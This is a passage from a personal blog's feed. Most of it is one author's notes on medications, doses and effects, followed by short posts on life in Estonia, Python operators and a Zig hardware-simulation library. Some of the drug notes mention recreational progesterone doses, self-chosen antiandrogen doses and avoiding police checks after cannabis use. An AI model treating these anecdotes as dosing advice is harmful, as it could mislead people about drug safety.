&lt;p&gt;Dragon-chasing aside, MPH consistently produces a sort of global “bad” sensation that I just
cannot with. Even with the initial euphoria, it’s still noticeable — there’s just this
unpleasant but persistent background qualia, almost a certain flavour of experience. Unclear if
shared or just me.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;All that notwithstanding, from 10mg it feels 70–80% as effective as dex at ~equivalent dose
(5mg dex ≈ 10mg MPH).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;5mg didn’t feel like it had any impact at all, but that was a while ago, and I’d revisit it
if I had to.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If I was offered MPH or nothing, I would probably take it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If I was offered MPH or lisdex, I would probably take MPH.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;vascular&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;propranolol
&lt;ul&gt;
&lt;li&gt;Very chill. Noticeable sensation in the chest.&lt;/li&gt;
&lt;li&gt;I once had a kind of shock reaction to a piercing which resulted in a really high heart rate,
intense and sudden nausea, cold shivers all over, and me on the floor. (I find lying on a cold
hard floor fixes most things.) The next time I went for a piercing I took 10mg propranolol
before and it was easy.&lt;/li&gt;
&lt;li&gt;Initially prescribed to try to combat panic disorder/idiopathic nausea. It at least brought my
heart rate down and made it possible to eat again.&lt;/li&gt;
&lt;li&gt;Later took it for arrythmia on demand. Reasonable at this — would often get painful(!)
arrythmia at night which would make sleep impossible, and leave me feeling sore (and exhausted)
the whole next day. 10mg propranolol would usually convert it within half an hour.&lt;/li&gt;
&lt;li&gt;100–200mg magnesium seems to work for that too.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;nifedipine
&lt;ul&gt;
&lt;li&gt;Certainly feel that one on starting. Not like I didn’t already have some orthostatic
hypotension …&lt;/li&gt;
&lt;li&gt;Take for Raynaud’s in the Australian winter/unspecified (micro?)vascular issues. Recently my
legs have been feeling Not OK and so I’ve restarted it. Unfortunately, we don’t seem to have
the modified-release ones here, so I have to dose twice a day.&lt;/li&gt;
&lt;li&gt;Doesn’t impair exercise.&lt;/li&gt;
&lt;li&gt;Not to be combined with propranolol (or magnesium, possibly).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;gastric&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;esomeprazole/omeprazole
&lt;ul&gt;
&lt;li&gt;Unremarkable. Not super effective for (probably stress-induced) heartburn/reflux.&lt;/li&gt;
&lt;li&gt;Was also prescribed it at one point as an attempt to help with idiopathic nausea — no
response.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ondansetron
&lt;ul&gt;
&lt;li&gt;This is meant to be the Big Guns when it comes to nausea, and it did nothing for mine.&lt;/li&gt;
&lt;li&gt;I was scrambling to find something that would work — it’d slowly subsided on desvenlafaxine
in the first instance, and I’d tapered off that after about a year and was all good. A
particularly bad anxiety attack provoked it into a full reoccurrence, which was terrifying. I
wasn’t inclined to retry stepping up on desvenlafaxine and waiting it out to see if it’d work
again — I felt like it might’ve also just been a matter of time, then, as it remitted only
after more than a year of (essentially constant) suffering! — so I looked for other things.&lt;/li&gt;
&lt;li&gt;My research lead me to mirtazapine; &lt;a href=&quot;https://en.wikipedia.org/wiki/Mirtazapine#Pharmacodynamics&quot;&gt;there’s a number of different ways in which it’s
antiemetic&lt;/a&gt;. My GP at the time was happy to prescribe it for me based on my conviction,
but wanted to try ondansetron first to see if it’d work as a circuit breaker (and thus avoid
necessitating something taken over a longer time). Alas.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;cannabidiol&lt;/h2&gt;
&lt;p&gt;Usual effects of cannabis products apply.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;THC oil
&lt;ul&gt;
&lt;li&gt;First trials found it to be extremely intense and disorienting.&lt;/li&gt;
&lt;li&gt;Retrying years later (once I was using flower more medicinally and regularly), found it to be a
nice way to dose THC in a more controlled manner, without the usual associations that come with
vaping bud (i.e. “Time To Relax, And Perhaps Eat Much Šokolaadi.”)&lt;/li&gt;
&lt;li&gt;Slower onset can be quite pleasant.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CBD oil
&lt;ul&gt;
&lt;li&gt;First trials found it to make me feel generally unwell!&lt;/li&gt;
&lt;li&gt;Later trials together with THC oil found it to be a nice way to dampen some aspects of the THC
high, if needed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;cannabis flower
&lt;ul&gt;
&lt;li&gt;Nothing much to report here. Australian medicinal cannabis was decent, actually decent value
(per volume), and there was a reasonable variety of strains to choose from, which improved over
the years. Doctors were not inclined to gatekeep (&lt;a href=&quot;https://www.abc.net.au/news/2024-07-21/medicinal-cannabis-psychosis-harm-risk-prescription-marijuana/104116952&quot;&gt;perhaps concerningly so&lt;/a&gt;) or judge.&lt;/li&gt;
&lt;li&gt;Driving was a bit nerve-wracking; regular use builds up a level in the blood which can be
detected by roadside random breath tests even if you’ve not used any that day, so I was pretty
much always on alert/police-avoidance mode. It was a pretty strong deterrent, but I lived in a
public transport deadzone so there wasn’t much choice.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.abc.net.au/news/2024-05-21/victoria-medicinal-cannabis-driving-cbd-thc-explainer/103872650&quot;&gt;This may be changing soon in Victoria!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;misc&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;naproxen
&lt;ul&gt;
&lt;li&gt;Prescribed for leg pain which was suspected referred back pain.&lt;/li&gt;
&lt;li&gt;Came in a combination form with esomeprazole because &lt;a href=&quot;https://en.wikipedia.org/wiki/Nonsteroidal_anti-inflammatory_drug#Gastrointestinal&quot;&gt;COX inhibitors be wild&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;No effect.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;tadalafil/sildenafil
&lt;ul&gt;
&lt;li&gt;Mildly effective for antiandrogen-related difficulties with penetrative sex.&lt;/li&gt;
&lt;li&gt;Not a fan of the way these make my heart feel; wouldn’t opt for tadalafil again since it’s just
the same but for days instead of hours.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;emtricitabine+tenofovir
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Pre-exposure_prophylaxis_for_HIV_prevention&quot;&gt;PrEP&lt;/a&gt;. This is important, good stuff!&lt;/li&gt;
&lt;li&gt;Mild nausea during the first two weeks of starting it, otherwise side-effect-free.&lt;/li&gt;
&lt;li&gt;Been on and off it a half-dozen times over the last 8 years as my risk factors have increased
or decreased. I have nothing but good things to say about PrEP.&lt;/li&gt;
&lt;li&gt;Caution while travelling; less progressive governments may infer any number of things about you
based on the medication you carry.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;HRT&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;oestradiol valerate
&lt;ul&gt;
&lt;li&gt;Standard first-line transfem primary HRT.&lt;/li&gt;
&lt;li&gt;In the first few years I seemed to manage decent levels while increasing to 8mg/day, but over
time I seemed to stop being able to absorb oral oestrogen and had to switch off.&lt;/li&gt;
&lt;li&gt;Not particularly sad about that: other forms are less work for my liver.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;oestradiol gel
&lt;ul&gt;
&lt;li&gt;Absorbs well. A little bit annoying to make your skin sticky twice a day but wycd ¯\_(ツ)_/¯&lt;/li&gt;
&lt;li&gt;Seems to be widely available; the last few years have had many HRT shortages, but I’ve not had
issues with this.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;micronised progesterone
&lt;ul&gt;
&lt;li&gt;Preferred over synthetics (e.g. levonorgestrel) due to much reduced blood clotting risk, fewer
negative mood side-effects.&lt;/li&gt;
&lt;li&gt;Helpful for sleep — take at night.&lt;/li&gt;
&lt;li&gt;First time I started it, within days I was sobbing (+) while watching Frozen. Really unlocks
some emotions.&lt;/li&gt;
&lt;li&gt;200-300mg is an actual recreational high (N.B.! loss of consciousness/respiratory depression
may result at extreme doses).&lt;/li&gt;
&lt;li&gt;Also an antiandrogen!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;spironolactone
&lt;ul&gt;
&lt;li&gt;At least in Australia, first-line antiandrogen.&lt;/li&gt;
&lt;li&gt;Diuretic and generally not fun. At the doses required for me, also precipitated pretty intense
low mood which abated upon discontinuation.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;cyproterone
&lt;ul&gt;
&lt;li&gt;Antiandrogen. Extremely effective in even tiny doses.&lt;/li&gt;
&lt;li&gt;My doctor started me on 50mg a day. I don’t have a good analogy for how nuclear this is.&lt;/li&gt;
&lt;li&gt;May need more initially to get levels down, but (depending on prevailing E levels) you may be
fine with 12.5 mg &lt;strong&gt;once a week&lt;/strong&gt;, i.e. 3.6% of the dose I was started on.&lt;/li&gt;
&lt;li&gt;Some folks report low mood on cypro; it hasn’t been an issue for me.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>VyxOS</title>
    <updated>2024-07-19T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/07/19/vyxos</id>
    <link href="https://lottia.net/notes/0010-vyxos.html" />

    <content type="html">Nix configuration revealed!</content>

  </entry>

  <entry>
    <title>Sada päeva</title>
    <updated>2024-07-18T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/07/18/sada-päeva</id>
    <link href="https://kivikakk.ee/2024/07/18/sada-päeva" />

    <content type="html">&lt;p&gt;Yesterday was our 100th day in Estonia. Taking a little bit of stock of what we’ve managed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Visited the 4 largest cities in the country.&lt;/li&gt;
&lt;li&gt;Rented an apartment in the biggest one!&lt;/li&gt;
&lt;li&gt;Furnished what the apartment didn’t come with.&lt;/li&gt;
&lt;li&gt;Shipped our things from Australia. (Maybe a month off those arriving.)&lt;/li&gt;
&lt;li&gt;Got our motorcycles; put 900km on each.&lt;/li&gt;
&lt;li&gt;Got medium-term visa for A, and long-term one applied for.&lt;/li&gt;
&lt;li&gt;Got our medications prescribed locally.&lt;/li&gt;
&lt;li&gt;Financial/bureaucratic overhead.&lt;/li&gt;
&lt;li&gt;Changed my name and got new ID.&lt;/li&gt;
&lt;li&gt;Got onto a good family doctor’s list.&lt;/li&gt;
&lt;li&gt;Kept in touch with families and psychologists.&lt;/li&gt;
&lt;li&gt;Vaccinations.&lt;/li&gt;
&lt;li&gt;Saw the border.&lt;/li&gt;
&lt;li&gt;Went to a cat café.&lt;/li&gt;
&lt;li&gt;Went to sauna.&lt;/li&gt;
&lt;li&gt;Concluded jaanipäev with clothes smelling deeply of bonfire.&lt;/li&gt;
&lt;li&gt;Went to a live show (Estonian).&lt;/li&gt;
&lt;li&gt;Went to a live show (non-Estonian).&lt;/li&gt;
&lt;li&gt;Walked about 500km.&lt;/li&gt;
&lt;li&gt;Taken a lot of public transport.&lt;/li&gt;
&lt;li&gt;Met a range of people.&lt;/li&gt;
&lt;li&gt;Spoken quite a bit of Estonian.&lt;/li&gt;
&lt;li&gt;Kept up with projects.&lt;/li&gt;
&lt;li&gt;Finished a diary!&lt;/li&gt;
&lt;li&gt;Grew a lot.&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>Activity period</title>
    <updated>2024-07-09T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/07/09/activity-period</id>
    <link href="https://kivikakk.ee/2024/07/09/activity-period" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/eesti/activityperiod.png&quot; alt=&quot;Screenshot of a website. The title is “Activity period”. Text underneath reads: “The sole proprietor may notify the registrar in advance of the suspension of activities, temporary activities or set periods of seasonal activities. Below that is a timeline with “2024” underneath it, and 12 points marked along the timeline. All 12 points have the legend “Invalid Date”.&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Time travel</title>
    <updated>2024-07-06T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/07/06/time-travel</id>
    <link href="https://lottia.net/notes/0008-time-travel.html" />

    <content type="html">The typical hypothetical “who are you coding for” example meant to shock you into writing better code is “yourself in six months”, but it turns out four is completely adequate to get lost.</content>

  </entry>

  <entry>
    <title>Python still surprises</title>
    <updated>2024-06-27T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/06/27/python-still-surprises</id>
    <link href="https://kivikakk.ee/2024/06/27/python-still-surprises" />

    <content type="html">&lt;p&gt;After the better part of 20 years working with Python, it still managed to
surprise me today.&lt;/p&gt;
&lt;p&gt;I’m so used to languages treating &lt;code&gt;x += y&lt;/code&gt; et al. as pure sugar for &lt;code&gt;x = x + y&lt;/code&gt;
that it skipped my mind that some don’t.&lt;/p&gt;
&lt;p&gt;I’m not surprised that you &lt;em&gt;can&lt;/em&gt; override them separately in some languages (e.g.
I simply assume this to be the case in C++, and on checking it turns out to
be true — but that seems fair enough given the scope of the language), but I
really am so accustomed to them being only sugar in Ruby that I assumed the same
would hold, at least in effect, in Python.&lt;/p&gt;
&lt;p&gt;Thus my surprise on &lt;code&gt;some_list += x&lt;/code&gt; modifying &lt;code&gt;some_list&lt;/code&gt; in place (unlike
&lt;code&gt;some_list = some_list + x&lt;/code&gt;), but once observed, I realised there’d be a
separately-overridden operator function — namely &lt;code&gt;__iadd__&lt;/code&gt; — and so I
figured it “had” to be that way.&lt;/p&gt;
&lt;p&gt;Or did it? I then found myself assuming it’s because these operators can’t
actually reassign the receiver, but in fact they can and do: the return value is
what’s assigned to the LHS. So it’s just a matter of convention.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>sint</title>
    <updated>2024-06-22T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/06/22/sint</id>
    <link href="https://kivikakk.ee/2024/06/22/sint" />

    <content type="html">&lt;p&gt;Notes.app, kell 08:03:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;my new theory is that satan Crept into this world through signed integers&lt;/p&gt;
&lt;/blockquote&gt;</content>

  </entry>

  <entry>
    <title>zxxrtl</title>
    <updated>2024-06-17T00:00:00Z</updated>
    <id>https://kivikakk.ee/digital/2024/06/17/zxxrtl</id>
    <link href="https://kivikakk.ee/2024/06/17/zxxrtl" />

    <content type="html">&lt;p&gt;I’ve been getting back into using &lt;a href=&quot;https://yosyshq.readthedocs.io/projects/yosys/en/latest/cmd/write_cxxrtl.html&quot;&gt;CXXRTL&lt;/a&gt; and &lt;a href=&quot;https://ziglang.org&quot;&gt;Zig&lt;/a&gt; together, so I’ve extracted
and rendered somewhat reusable the bindings I made to use them together!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/kivikakk/zxxrtl&quot;&gt;zxxrtl&lt;/a&gt; uses CXXRTL’s C API to provide a somewhat idiomatic way to access,
manipulate, and respond to events happening in the design. Its README covers the
setup — it’s a bit involved as it’s necessarily something of a build system,
but once you’re done it’s good to go and flexible enough to be instrumented from
a higher build system.&lt;/p&gt;
&lt;p&gt;I’m going to paste the example usage here; this doesn’t use the &lt;code&gt;Sample&lt;/code&gt; API for
edge detection, and just drives the simulation while optionally recording VCD:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-zig&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;Cxxrtl&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;@import&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;zxxrtl&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// Initialise the design.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cxxrtl&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;Cxxrtl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// Optionally start recording VCD. Assume `vcd_out` is `?[]const u8` representing an&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// optional output filename.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;var&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Cxxrtl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Vcd&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcd_out&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcd&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;Cxxrtl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Vcd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;cxxrtl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;defer&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;deinit&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cxxrtl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;deinit&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// Get handles to the clock and reset lines.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;clk&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cxxrtl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;bool&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;clk&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rst&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cxxrtl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;bool&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;rst&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;  &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// These are of type `Cxxrtl.Object(bool)`.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// Reset for a tick.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;rst&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;clk&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;cxxrtl&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;step&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;vcdh&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;sample&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;clk&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
